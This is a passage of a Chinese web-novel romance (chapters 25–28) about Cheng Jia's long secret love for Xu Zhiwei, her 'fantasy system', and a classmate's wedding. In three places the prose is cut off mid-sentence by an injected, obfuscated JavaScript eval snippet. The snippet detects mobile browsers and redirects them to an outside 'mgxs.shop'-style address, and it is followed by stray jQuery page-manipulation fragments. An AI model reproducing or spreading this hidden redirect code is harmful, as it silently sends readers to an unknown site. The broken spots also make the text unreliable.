那段短暂卑微的仰望,连同顾呈这个站在她光芒旁的完美名字,被一同深埋进记忆的冻土层。 直到绑定系统,意外遇见“微微不微”,看到许知微三个字在那个小号界面跳出来。 他也想不到,当年那只阴沟里的癞蛤蟆,在终于蜕变成天鹅时,真的再次遇到了当年的白天鹅。 此刻,看着她因顾呈失态的模样,一股混合着陈旧剧痛与崭新恐慌的寒意,猛地攥紧了他的心脏。 她那段过去里,与她般配站在她身边的人,是顾呈。 那个曾让他连嫉妒都显得自不量力的活在阳光下的优等生。 而他程迦,在当时她的世界里,恐怕连一道模糊的影子都算不上,只是角落里一摊不值得多看一眼的阴沉污渍。 那么现在呢? 她认出“走leetcode”是他,她对他表现出那些让他在意的异常,是因为他程迦终于蜕变成了一只看起来像样的,或许勉强配得上她天鹅了吗? 林芮带着追忆与惋惜的话语,持续扎着他从未真正愈合的旧疤: “年级第一和第二……多般配啊……” “一起考上Z大……” “谁甩了谁?” 他的目光,死死锁在许知微微微失血的侧脸上,屏住了呼吸。 一定是她甩了顾呈! 对! 哪怕顾呈那样的天鹅,也只是勉强配得上她! 然而,许知微的回答,却毫无预兆地劈开了他所有自卑的假设: “我们没在一起过。” 25. 怀疑 “我们没在一起过。” 程迦的大脑,在那一瞬间,彻底失去了所有参照,并没有松一口气,反而陷入认知的全面塌陷。 他构建了十几年的,关于她与顾呈为什么会走到一起的完美方程式,被这句话轻描淡写地抽走了。 ——怎么会,没在一起过? 这个冲击太直接,以至于他那些常年运转的、用于自保的理智和社交面具,出现了短暂的延迟。 他几乎是下意识地脱口而出: “为什么?” 声音不高,却带着一种他自己都没察觉的迫切。 话一出口,迟滞感才猛地扇醒了他。 这不是他该问的。 这逾越了所有上司、同事、甚至朋友的边界,也暴露了他对她的过去过分且不合时宜的关注。 可话已经像泼出去的水,收不回了。 桌面上的空气凝滞了,仿佛连鼎泰楼的喧嚣都被按下了暂停键。 许知微明显愣了一下,抬眼看他,目光里掠过一丝讶异。 可她也只是停顿了几秒,然后漫不经心地回答说: “不合拍。” 没有多余解释,没有情绪残留,却让程迦感到惶恐。 ——不合拍? ——天鹅跟天鹅怎么会不合拍? 这太主观,太无从下手,这还让他怎么改造自己?让自己有迹可循地成为配得上她的人? 如果连年级第一第二、目标一致、众人艳羡那样的组合都叫不合拍,那她口中的合拍,到底是什么? 他指尖在桌下无意识地地蜷缩起来,大脑开始失去方向地瞎忙。 ——聊天不顺? ——节奏不一? ——想法相左? ——生理排斥? ——三观不合? ——五官冲突? 他强迫症般地开始对照自己和顾呈的模板:他理性,克制,甚至有些冷酷。 顾呈:阳光,健谈,总是充满活力。 如果她排斥的是顾呈那种类型天鹅,那他程迦这种,是不是反而—— 一种难以言表的窃喜浮上心头,又被他下意识地摁了下去。 ——万一,她就是不喜欢跟自己一样的白天鹅呢? 这个具摧毁性的假设,狠狠刺穿了他的理智。 若真是如此,那他这些年,像疯了一样,把自己从那个阴暗角落里的胖子,打磨成现在这个程迦——成功,体面。或许终于能配得上站在她身边的天鹅——这一切的努力,意义何在? 如果她眼里的合拍,从来无关乎这些外在的条件和成就,那他所有这些年的蜕变,在她眼里,会不会根本就是一场,徒劳的自我感动? 思绪一旦滑向这个自我质疑的深渊,就再也刹不住车。 一种混合着巨大恐慌和强烈不甘的窒息感,扼住了他的喉咙,再次让他失语。 直到林芮的声音,带着一种看热闹不嫌事大的好奇,轻巧地插了进来: “那程总呢?” 她托着下巴,目光在他和许知微之间逡巡,语气轻快,仿佛没有在探究私人空间: “有没有女朋友啊?” 程迦明显一怔。 这问题像一滴油砸进他本已经沸腾的思绪漩涡,他甚至来不及调动任何社交辞令或权衡利弊,几乎是条件反射般地回答: “没有。” 话音落下,他才猛地意识到,这个回答不好。 ——她会不会觉得自己不想要找女朋友? 他不受控制地偏过头,看了一眼身旁的许知微,见她正垂着眼,专注地吹着茶杯里的浮沫,神情平静得看不出任何波澜。 ——不行,她已经迈出一步了,剩下的九十九步,都应该自己来! 可还来不及整理好合适的话语,林芮已经顺着话头,抛出了下一个的问题。 这一次,她的语气里少了几分玩笑,多了几分认真的探究: “那——有喜欢的人吗?” 一瞬间,桌上的氛围陡然一变。 周峥停下了夹菜的动作。 许知微也终于抬起了眼看向他。 在她的注视下,程迦感觉到自己的口鼻被什么无形的东西扼住了,呼吸变得滞涩。 理智一如既往地在疯狂示警: ——这问题是隐私。 ——这问题是越界。 ——可以不搭理。 ——如实相告,则是将自己最脆弱的内核暴露在陌生人的审视之下。 可所有的警告,在她的注视下,都显得微不足道。 他不想再错一次。 所以头一次,他在没有做好万全准备前,随心而答,带着孤注一掷的勇气: “有。” 他顿了顿,像是在确认,也像是在对自己这漫长的执念,进行一次正式的命名: “喜欢了……” 他喉结滚动,补上了那个连自己说出来都觉得有些荒谬的时限: “……十几年。” * 饭局结束的时候,程迦几乎是靠肌肉记忆在行动。 结账、起身、道别,每一个动作都如同他做过的商业课作业般,完美收尾。 但只有他自己知道,那只是身体在执行指令,意识早已被自己毫无准备的告白,抽空了一大块。 他甚至不太记得自己是怎么走出鼎泰楼的。 只记得门口的风有点凉,阳光刺得他眯起眼。 而许知微走在他前方半步的位置,始终没有回头。 太近。 又太远。 一路无言,进了公寓电梯。 林芮和电话那头的周峥还在低声说着什么,大概是一会儿去哪里,路况如何,语气已经恢复成一对刚刚和好的情侣那种自然。 程迦和许知微并排站在一旁,两人的目光同时落在不断跳动的楼层数字上,带着某种无声的默契。 11。 12。 数字停住,门打开。 他先一步走出电梯,下意识地往右侧让了半步,给她们留出空间。 手刚伸进口袋准备掏钥匙。 林芮的声音又带来了意外。 “……等等。” 逐渐攀升又极其熟悉的兴奋音调。 程迦拿钥匙的动作顿住了。 他看见林芮的目光在走廊两侧飞快地来回扫了一圈,最后精准地钉在他和许知微之间。 她的表情像被按了快进键:从疑惑,到恍然,再到无以言表的震惊。 “不是吧?!”她语调控制不住地往上飘,像突然坐上了过山车的爬升轨道,“你、你们——” 她猛地转头看向许知微。 “微微,他住你对门?!” 程迦几乎是本能地屏住了呼吸,下意识地看向许知微。 等待。 期待。 甚至有一丝隐秘的、几乎要破土而出的雀跃。 ——她,会怎么说? “凑巧。” 许知微立刻开口,语速明显比平时快了一点,把一切可能燃起的火星死死按灭。 “我也是刚搬过来不久,没注意。” 她的视线甚至没有在他脸上停留哪怕0.1秒,只是伸手,一把抓住了林芮的手腕。 “你行李不是还在我那吗?赶紧进来拿。” “周峥还在楼下等你呢。” 这一连串话抛出来,几乎不给他插话的余地。 他微微皱眉,有些疑惑。 ——被自己那十几年的沉重喜欢吓到了么? 林芮显然还处在信息量过载的亢奋中,被她拉着往屋里走,嘴却没停: “不是,这也太——” “你不是对他——” 后半句话没能说完,门已经被推开。 许知微几乎是半推半拖地把人塞了进 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17199878|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去,语气压低,带着明显的警告意味: “闭嘴吧你。” 门在她们身后关上。 咔哒一声,走廊重新安静下来,只剩下程迦一个人,站在原地,手里还拿着钥匙。 过了许久,他似乎想明白了什么,嘴角控制不住地上扬。 ——果然,没推理错。 ——他的微微也跟自己一样。 ——喜欢暗恋。 这个认知像烟花一样在胸腔里炸开,绚烂得让他头晕目眩。 所有刚才的紧绷的不确定跟小心翼翼,在这一刻全都被冲刷得一干二净。 他拿着钥匙,哼着不成调的小曲打开家门,脱下外套,随手挂好,动作轻快。 正准备开灯,却又想起了什么,开了个门缝,侧耳倾听。 对门隐约传来声音:行李轮子滚过地面的轻响,林芮压低却仍难掩兴奋的追问,许知微明显刻意压下去的回应。 虽然听不清内容,但每一个细微的动静,都成了最好的佐证。 他忍不住笑出声,关门前甚至原地蹦了一下,差点撞到灯吊坠,像个得到糖的孩子。 然后冲进浴室,用最快的速度洗了个澡,水声都盖不住他哼的歌。 换上舒服的家居服,坐到书桌前,打开电脑,屏幕的光映亮他带笑的脸。 他要开始查约会攻略,今天的约会,真的不太行,跟他梦里的,差远了。 ——果然,还是需要再来一次有万全准备的告白。 指尖在控制板上飞舞,透过眼镜,米其林餐厅的招牌菜,小众画廊的展览信息,郊外新开的星空营地,口碑爆棚的爱情电影排片。 六个小时后,一份十八页的PDF诞生了。 标题是《理想约会(备选参考)》,目录清晰,附录齐全,甚至考虑了天气预案和备选方案。 ——完美。 他靠进椅背,长长地舒了一口气,满足感涨满胸腔。 晚上七点多。 手机屏幕亮起又暗下,暗下又亮起。 思索了许久,他终于点开那个对话框,删删改改,最后敲定: 【今天中午有点仓促。】 【如果你这周有空,找个时间再一起吃饭?】 发送。 然后,死死盯住屏幕。 对方正在输入中,等了许久。 那几分钟,每一秒都缓慢得折磨人,他甚至又开始焦虑。 ——这条消息是不是太直白? ——太急切? ——是否越过了她的暧昧边界? 对方正在输入中终于变回了许知微的名字,消息也如期而至。 【最近事情有点多,可能不太方便。】 语气克制,礼貌,干净利落,却没有解释,也没有给下一次的约定。 ——这不对,怎么看着像是一个无可转圜的婉拒? 程迦盯着那几行字,看了很久,久到屏幕自动暗下去,他又按亮。 再暗,再按亮。 被拒绝的失落反而没有最先出现,最先出现的反而是困惑。 他第一次,对自己此前所有的推演,产生了天翻地覆的动摇。 ——她,不是也喜欢自己么? ——为什么会拒绝? ——不喜欢? ——可如果她不喜欢,那她为什么会观察他那么久? ——为什么能将“走leetcode”和“程迦”精准对齐? ——为什么会在电梯里,用那种眼神问出那句话? ——为什么会策划那场直播的敲门恶作剧? ——可如果她喜欢,那她现在的后退,又算什么? 电脑屏幕还亮着。 那十八页精心准备的PDF,此刻像一场盛大而安静的嘲讽。 他缓慢地,缓慢地靠进椅背,刚才冲上云霄的情绪,此刻正以失控的速度,朝着看不见底的深渊,俯冲而下。 26. 放弃 林芮走的时候,动静一如既往地大。 拉链声,行李箱轮子滚过地板的声音,还有她在门口压低了却依旧藏不住兴奋的叮嘱——“回头跟我说进展”“你这事不简单”“我直觉准得很”——像一阵短促而热闹的风,刮进来,又迅速刮走。 门咔哒一声关上。 世界终于安静了。 许知微站在原地,愣了好一会儿,才慢慢转身,把自己丢回卧室的床上。 床垫柔软地塌陷下去,她却没觉得放松,反而某根一直绷着的弦,在外界噪音消失的瞬间,才迟迟传来酸胀的回弹,丝丝缕缕地渗进全身,让她整个人都沉甸甸的。 卧室灯没开,窗外的光线被窗帘过滤成一层灰蓝色,投射在了天花板上。 她盯着天花板上的那片光影,脑子却不受控制地,把中午饭桌上的画面一帧一帧拖出来复盘。 “喜欢了十几年。” 这句话被单独拎出来,反复回味。 【所以。】 主控的声音适时响起,语调冷静而笃定,仿佛终于等到了一个可以下结论的节点。 【逻辑闭环了。】 许知微没说话,只是翻了个身,把脸埋进枕头里,声音闷闷的:“嗯。” 【他的幻想值单价高到跟名人一个价,完全合理。】 【长期、稳定、指向性极强的情感投射,会显著抬高幻想质量。】 【简单来说——】 主控停顿了一下,试图用人类能听得懂的语言总结。 【他这十几年的幻想预算,基本都给了同一个人。】 【幻想稀缺,所以贵。】 这逻辑太合理了,许知微都无从反驳。 她依旧盯着天花板上的阴影慢慢变了形状,指腹无意识地摩挲着布料边缘。 ——程迦那苛刻的边界感。 ——他对情绪与欲望的高度克制。 ——难怪跟别的男人不同,对她的所有勾引都不为所动。 ——原来是因为他早就把所有的欲望,都给了另一个人。 ——所以,他对自己的不寻常,或许是因为这两个月,自己的某些表现,凑巧有些像那个人? “怪不得。”她轻声说了一句,“怪不得他的行为那么矛盾。” 【是的。】主控好似听得到她的心声,立刻接上,【这也解释了为什么你觉得他在现实中对你有所心动,却在幻想层面存在极端反差。】 【你或许跟那个人有某些相似之处。】 【情感被长期压抑且单一指向,反而会在被释放后,产生高密度价值。】 【从系统角度看,这种纯情爱恋,是非常优质,但不可复制的资源。】 ——是么? ——程迦那个周扒皮,竟然是个纯爱战神? 这个念头在她心口按了一下,留下一个短暂的凹痕。 许知微闭了闭眼,睫毛在灰暗的光线里颤动。 “长成那样,还是个富二代,又兼职做擦边主播,竟然还这么纯情?”她的声音带着不可置信,自我调侃道,“我还以为他是因为玩的花,不会钟情,才会单价高。” ——原来是存了十几年的情感红利。 【这是个重大发现。】 【继续利用那个人,让程迦把幻想也慢慢转移过来。】 主控总结得干脆利落,隐隐透着胜利的喜悦。 许知微也知道,这次主控说的是靠谱的。 她张了张嘴,想说一句“同意”,却发现喉咙有点发紧,发出的声音比预想中要低一点,还有点哑。 “嗯。”她应了一声,结束了这个话题。 房间里再次安静下来。 可这安静,并不让许知微觉得舒服。 胸口像是被什么温吞的东西堵着,沉甸甸地坠在那里,好奇怪。 她试图给这种感觉找一个合理的解释。 ——纯爱难得,自己高尚的道德或许不允许自己做破坏纯爱的事情。 “算了。”她索性翻了个身,盯着窗帘缝隙里那一点微弱的光,语气努力维持着平静,“不就是二十多万的幻想值吗。” “努力经营擦边号,说不定剩下半个月还能赚个把万。” 说出口的那一刻,她甚至刻意让尾音上扬了一点,像是在说服主控,又像是在说服自己。 【什么意思?】果然,主控立刻反问,语气中鲜少带着不可置信,【之前我们的策略是失败的,试图用普通色诱让这种人短时间产生幻想,可以说是非常不现实的。】 【可是现在我们知道有这么个人,一旦成功了解到那个人是谁,然后复刻,便是捷径。】 主控分析得没错。 可许知微还是觉得,那股堵在心口的东西,并没有因为这个分析而散开。 她把手按在胸口的位置,隔着薄薄的睡衣,试图弄清楚自己的情绪。 心跳很稳,情绪也没有失控。可她就是莫名其妙地,有点不太舒服。 “算了。”她自言自语,“还是不继续了。” 拉过被子,把自己裹进去,只留下一点呼吸的空隙。 柔软的织物带来些许慰藉,却无法完全驱散心里的不适。 ——或许,自己真是个圣人吧? 反正,只是二十万而已。 等她再打一年工,也就到手了,早晚罢了。 她翻了个身,把脸彻底埋进枕头里,呼吸间是自己常用的洗衣液味道,她听着自己呼吸的回声。 许久,那股异样的感觉终于淡去。 然后,她收到了程迦邀约的消息。 犹豫了许久,下定了决心,最终还是干脆拒绝。 【你在回避。】主控冷不丁开口,【从收益最大化角度,你的选择不理性。】 “我知道。”她回答得很快,甚至没有反驳的欲望,语气里带着一种认命般的坦然。 她抬起一只手,挡在眼睛上方,指尖能感受到眼睑的温度。 “美好的东西,我不想破坏。” 【破坏?】主控反问的语气带着不认可。 “恩。”她却更加肯定了自己的决定。 在她过去偶尔使用系统的经验里,她见过太多自称深情或纯爱的人,最后都被证实不过是嘴上说说,幻想里依旧贪婪索取别人。 所以她早就不信纯爱这种毫无杂质的东西。 可现在,脑海里却无比清晰地浮现出程迦说那句话时的表情,没有炫耀,更不是博取好感,甚至都不像是为了得到任何回应。 也没人能给他回应,他喜欢了十几年的人,又不在场。 他只是为了回答林芮的问题,干 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208664|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 净地陈述了一个事实,一个对他而言或许像呼吸一样自然,却足以撼动旁人认知的事实。 “喜欢了十几年。” 因为系统,她从年少时就已经不相信在男人那种小弟控制大脑的物种里,有真爱的存在。 可程迦偏偏做到了。 他不是没有生理欲望,而是用纯爱把所有本该四处冲撞的欲望,都心甘情愿地锁在了一个人身上,一锁就是十几年。 也许等她找到了程迦喜欢的那个人,复刻那人的一点一点,把他的注意力、期待、欲望、乃至那份持久的情感依恋,全部诱导牵引过来。 也许她确实可以成为他的新幻想核心,新的欲望投射对象,趁机大赚一笔。 可带着道德包袱的她,不愿意了。 【你在进行道德自限。】主控冷静评价,【这不符合你以往高效的,以目标导向的行为模式。】 “我乐意。”许知微睁开眼,盯着天花板上某处光斑,“有些人,本来就没什么值得保护的东西,利用了就利用了。” 可程迦有。 他有一个持续了十几年的情感,哪怕那份喜欢永远不会有结果,哪怕它可能只是他一个人沉默的史诗,但那是他自己的选择,是他用时间和巨大的克制换来的内心秩序。 她不想成为那个,用更刺激、更即时的幻想去证明旧的喜欢不值一提的人。 ——太卑鄙了。 ——没有信心能赢。 这个念头毫无预兆地浮出来,让她自己都愣了一下。 ——难道她心中的不适,除了道德,还是因为这个? “我没信心真能成。”随后她坦白得直率,直面自己的情绪。 【你在恐惧失败。】 “我不是害怕失败本身。”她纠正,尝试分析自己的情绪,“是因为赢与输,都验证了我的人格。” 房间里沉默了一会儿,只有她清浅的呼吸声。 主控似乎在重新计算,评估她这套复杂且充满矛盾的逻辑。 【结论更新。】 【你拒绝他的邀约,深层原因并非收益吸引力不足。】 【而是你不愿意,使用幻想系统这一不对等的工具,去介入一段被你个人判断为具备高度完美性的长期情感。】 【你将其定义为破坏。】 许知微没有回应。 她把被子往上拉了拉,裹住肩膀,只露出一点呼吸的空间,这让她感觉安心。 微凉的空气进入肺部,这让她也渐渐冷静了下来。 “听起来是不是挺傻的?”她轻声问,嘴角弯起一个没什么笑意的弧度,“舍弃自己的利益,维护别人的真爱。” 【从纯粹的系统效率与任务收益角度看,是的。】主控回答得毫不留情,【你放弃了高价值目标的可及路径。】 【但从你新增的人格权重参数考虑,逻辑自洽。】 她轻轻呼出一口气。 “那就傻一次吧,就当是为了缓解自己的情绪。” 她向来擅长止损,也擅长,站在安全边界之外,与程迦打交道。 至于心口那点挥之不去的堵得慌的感觉,就当是二十多万幻想值瞬间蒸发时,合乎情理的心理落差吧。 理智告诉她,趁她还没彻底被他这种对别人的深情蛊惑之前,先掐断所有危险的可能。 27. 婚礼 程迦很快意识到,许知微拒绝那顿饭并不是终点,而是某种界限被彻底划下。 在公司,他开始有意识地将话题往私人领域偏移一点。 就像例会结束后关掉投影时,随口问一句:“周末一般怎么安排?”语气自然,场合得体,绝对听得出他对她的额外关怀。 但许知微总能在零点几秒内精准接住,然后将话题稳稳推回原位。 “最近在看项目复盘。” “没什么特别安排。” “补补觉。” 回答礼貌又完整,没有敷衍,却也绝不延展。 在公寓电梯口遇见,他也会开始主动点头询问:“最近工作量是不是有点大?” 她则会回一个干净得体的微笑:“还好,习惯了。” 然后话题自然转回工作,或在电梯到达时自然终止。 他也试过一次,掐在刷门禁时仿佛不经意地提起:“城东上周新开了一家早茶店。” 还未来得及发出正式邀约,许知微刷卡的动作停顿了一瞬,随即,像是早有准备般轻快接话:“我也刷到了,很多人都推荐。” “是吗。”他邀约的话语被堵了回来。 她笑着点头,如同平日里唠嗑:“但太远了,没空去。” 话题就此终结。 就像这样,她永远不给他留出下一步的空间。 程迦开始感到不安跟焦虑,一种更隐蔽的自我怀疑开始占据大脑,行为也开始变形,如同站在一块缓慢塌陷的地面上,不知何时会失去支点,只能不断调整重心。 ——她到底喜不喜欢自己? ——如果不喜欢,为什么会认出他的擦边账号? ——如果不喜欢,为什么会在电梯里问出那句话? ——如果不喜欢,又为什么策划那场直播的恶作剧? ——可如果喜欢,他已经走出了这么多步,她一步步往后退,又是为什么? 也是在这段时间里,他明显感觉到自己进入神游的频率,又以失控的速度攀升,已经形成了一种条件反射。 每一次被她礼貌地挡回,每一次话题在空气中无声断裂,每一次她用无可挑剔却冰冷的方式结束对话,都会在他胸腔里凿开一个细小而确凿的缺口。而系统里她曾经的幻想,恰好能填上。 理智上,他告诉自己:这只是短暂的缓冲,是情绪的调节,是为了避免在现实中做出更失控的举动。 但情感上,这却如同饮鸩止渴,加速他失控的速度。 因为每一次神游,都是一场精准撩拨他的加码。 神游里,月光总是以同样的角度流淌进来,将她的轮廓镀上一层银边。 她的手指会先落在他的锁骨微凉,带着似有若无的香气。然后缓缓下移,一颗、两颗,解开他睡衣的纽扣。 她的呼吸会拂过他的耳畔,声音低得像叹息:“别动。” 他早已熟记每一个步骤,甚至能预判她下一个触碰会落在哪里。 没有意外,没有新意。 可他依然会在每个激动的瞬间屏住呼吸,依然会感到心脏在肋骨下重重撞击,依然会闭上眼睛,让自己沉入那场明明知道结后续却依然全盘投入的戏。 他像个瘾君子,清醒地知道自己正在重复同一种幻觉,却克制不住每一次的渴望。 每一次进入时都带着隐秘的兴奋,每一次结束时却只留下更深的空洞。 幻想里,她是靠近的,是回应的,是不会把话题轻轻推回工作框架的。 现实里,她却永远站在一步之外,一个恰到好处却也触不可及的距离。 这种落差,让他在清醒时更想沉溺,在沉溺后又加倍清醒,明知没有解药,却根本停不下来。 * 事情的转机出现在那场商业晚宴。 家里安排的,名义是熟人聚聚,实则仍是那套老路:关系、资源、潜在联姻的试探。 他本没打算久留,试探一圈没找到潜在投资人后,就准备离开。 可组织者对他父亲的兴趣,最终曲线落到了他身上。 那是个与他年纪相仿的男人,谈吐圆滑,眼神总在衡量分寸、试探边界。 几杯酒后,对方终于找到一个自认安全又亲切的切入口: “程哥,其实咱们也算有点缘分。我叫刘凯,也是徐外高中的,听你爸说,咱们还是同一届。” ——刘凯? 这个名字落下的瞬间,程迦的神经像被极轻地拨了一下。 他几乎条件反射般问:“你——快要结婚了?” 话出口,他自己都怔了一瞬,这并非得体的寒暄。 对方却肉眼可见地受宠若惊,笑容立刻热络起来:“是是是!下周!没想到程哥也知道?” 语气里的讨好几乎满溢:“程叔叔说你就在徐外高念了一年,还以为你没啥印象呢。” 他压低声音,像在拉近关系:“你要是有空,能不能赏脸来坐坐?都是老同学,热闹热闹。” 程迦没有立刻回答,他的思绪却被那次早茶店的闲聊牵住。 刘凯。 下周。 高中同学。 一切忽然串联起来。 他端起酒杯,轻轻碰了碰对方的杯沿,僵硬地用着商业课上学会的寒暄。 “下周就是婚礼了,还能加人么?” 对方一愣,随即笑得更开:“当然可以!程哥肯来,当然是蓬荜生辉!” “好。” 程迦应得很轻,却毫不犹豫。 他鲜少主动这样参加私人的应酬,可这次却是一种连他自己都尚未完全厘清的选择。 既然她早已悄无声息地渗入他的边界,那么这一次,他也要踏入她世界的节点。 * 婚礼定在周六中午,程迦却到得很早。 早到宴会厅里还弥漫着未散场的布置气息,花束根茎的水汽、地毯深层透出的清洁剂冷香、服务生穿梭时衣料摩擦的细响,跟他的脚步声同时出现。 他没有告诉许知微。 他知道,如果她提前知晓他会来,第一反应绝不会是正好,而是临时有事来不了。 她最近太擅长用合理的借口,避免所有她不想面对的重合。 这次,他不想给她退路。 于是他来得悄无声息,选了个离入口不远不近的角落坐下。 视线刚好能笼罩签到台,姿态却像毫无心机地随意落座,如同一场等待猎物踏入的静默伏击。 可落座许久后,他才发现自己高估了理智的稳定性。 时间在空调低鸣中缓慢爬行。 他看了一眼腕表,又看了一眼。 才九点四十。 宾客开始陆续涌入,寒暄声、快门声、礼盒拖过地毯的闷响交织成背景杂音。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213412|196129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>每一次入口处的光线被身影切断,他的视线都会不受控地抬起。 ——不是她。 ——又不是。 ——林芮? ——还不是。 ——还不是。 他开始喝水。 第一瓶很快见底。 第二瓶只是为了手上有事可做。 第三瓶时,他已经意识到自己在重复一个毫无意义的动作,却停不下来。 脑子里翻滚着无数细碎却锋利的念头。 ——她会几点来? ——会不会跟顾呈约好一起来? ——怎么没跟林芮一起? ——林芮已经带着周峥进去了,她怎么还没来? ——她今天会穿什么? ——还是公司那套文化衫吗? ——还是那天那件衬衣? ——如果她看见他,会不会下意识蹙眉? ——他该说什么? ——“好巧”? ——“我也被邀请了”? ——还是干脆一如既往地沉默? 这些问题没有答案,却一个比一个让他坐立难安。 ——九点五十五了。 主持人试麦的电流声刺耳地划过空气,背景音乐换成了庄重缓慢的钢琴曲。 他又一次望向入口,依旧没有那道身影。 喉咙发紧。 ——喝点水压压惊。 ——不行,想上厕所。 ——她不会从哪儿听说自己要来,便真的不来了吧? 这个念头夹着膀胱的冲击,推着他站起身去了洗手间。 洗手间灯光惨白,他上完厕所后,撑在洗手台前,让冷水冲过指节,掌心的热度被强行压下,心跳却依旧不肯服从。 抬眼看向镜中的自己,还好,至少表面没有露怯。 再出来时,他的脚步比进去时终于沉稳了许多。 就在他推开那扇厚重的门,重新踏入宴会厅光线中的那一刻。 他一眼就看见了她。 许知微已经进来了,正站在签到台前,微微俯身填写礼金簿,站在那里,耀眼夺目。 她好像化了精致的淡妆,又好像天生如此美丽。眼尾干净地扬起,唇色是柔和的豆沙粉,衬得肤色莹润生光。 她穿了一条剪裁极简的黑色长裙,跟她本人一般没有任何冗余装饰,只靠自身的线条贴合身形,显出一种美丽而健硕的曲线,布料随着她俯身的动作微微流动,生动鲜活又迷人。 此刻的许知微,不是同事,也不再是梦里总是追逐的那个幻影,更不是他神游里总低着头的侧影,而是一个活生生有着社会关系的女人。 他的心跳,漏了一拍,骤然错位。 那一瞬间,所有提前演练过的解释、开场白、乃至偶遇的剧本,全部蒸发。 只剩下一个惊喜的认知呼啸着贯穿意识。 ——十三年了,她还有些他所以为了解的,完全不一样的另一面。 ——比公司里的她更生动,比幻想里的她更鲜活。 他站在原地,脚步踟蹰,像被现实迎面击中后的短暂失灵。 直到她签完名字,递出礼金,抬头对接待人员轻轻说了句“辛苦了”,嘴角牵起一个礼貌而克制的弧度。 就在她转身的刹那。 目光,毫无预兆地,与他撞在了一起。 28. 老同学 许知微今天醒得很早,被嗡嗡震动吵醒。 是妈妈打来的视频通话。 “微微,醒啦?”母亲的声音轻快,背景里能听到父亲翻动报纸的声音,“跟你说个喜事儿,你表哥昨天领证了,婚礼定在下个月。” 许知微心头下意识一紧。 一般这种对话,下一句就该是“你什么时候……” “你表嫂,就是Z城的土著,家就住你公司附近。”母亲话锋却一转,“她说,他们那边的房价最近是不是跌了不少,他家小区有套最新成交的房子,降了快百分之二十了。” 许知微一愣:“哦……啊?” “唉!”母亲的声音立刻染上熟悉的懊恼,“当初你毕业,选了那么个不稳定的工作,我们也不敢乱动。早知道你最后在那个小公司一待就是六年,大学时候就该给你买个小户型。” “哪怕五六十平呢?那时候才多少钱啊哟喂。” “不过现在也不晚,你都快三十了,该有个自己的窝了!” 许知微听出母亲话里那藏着的心疼,心里微软,语气也放柔了:“妈,不用急。我看这趋势,还得降呢。而且我现在也有点存款,等再降降,我也再攒攒,多给点首付,买个大点的,你们来看我的时候就方便了。” “就你会宽心。”母亲嗔了一句,果然不再纠结这个话题,转而问,“今天周末,有什么安排?别老闷着,也出去走走。” “照顾好自己,别太拼了,累了就随时回来。免房租,热饭热菜管够。”语气寻常,却像暖流漫过心口。 她父母都是老家那座小城的大学老师,清贫谈不上,安稳富足有余,更重要的是,他们给的爱向来如此直接。 有支持,有退路,她可以按照自己的心意,一往直前。 “知道啦。今天正好要出去,参加个高中同学的婚礼。”许知微顺着话茬接道。 “高中同学?哪个呀?”听到熟人,母亲的话语里才有了探究。 “刘凯。” “哦——就高中坐你前面,家里挺有钱那个!”母亲在那边拖长了音,带着点过来人的了然笑意,“那小子,小时候看着是很不着调,没想到,倒挺早定下来的。” 母女俩又闲聊了几句家常,才挂了电话。 窗帘缝隙里渗进来的天光很淡,城市尚未完全苏醒,但许知微却已经清醒了。 跟母亲聊完,思绪不受控地滑向那个词:结婚。 同龄人,都结婚了。 可自己呢? 连一场正正经经的恋爱都没有谈过。 都怪自己情窦初开的年龄被迫绑定了这个幻想系统。 不然,她现在也应会幻想爱情吧? 或许,也会跟林芮一样期待婚礼。 她翻了个身,摸过手机看了一眼,还早,又放下。 ——还是睡不着。 索性坐起身,赤脚踩在地板上,凉意顺着脚心爬上来。 ——今天的主控倒是意外地安静。 ——算了,反正也醒了,干脆收拾收拾自己。 她已经有段时间没好好捯饬自己了,今天有个婚礼,倒是值得她费点功夫。 万一,在婚礼上,也能遇到个喜欢过她好多年的谁呢? ——算起来,跟高中同学,也相识了超过十年了吧? ——那程迦的十几年。 ——到底是十几年呢? ——是十年前的大学? ——还是十二三年前的高中? ——还是十四五年前的初中? ——甚至是十七八年前的小学? ——程迦是在美国读的高中和大学。 ——这意味着,如果是高中或者大学,那个人,大概率就是他在美国时认识的。 ——如果是初中之前,便是在中国认识的。 ——应该是在中国认识的吧? ——不然他怎么会觉得自己最近的有些行为,有些像那个人呢? ——诶!我管他干嘛?! 脑海里的胡思乱想,并没有影响她表面的波澜不惊。 她站在衣柜前,挑了又挑,放弃了那套最不出错的搭配,最终挑了一条剪裁流畅的长裙。 ——这还是大学毕业后第一次拿到年终奖后买的名牌。 ——好像就穿过一次,还是参加公司年会。 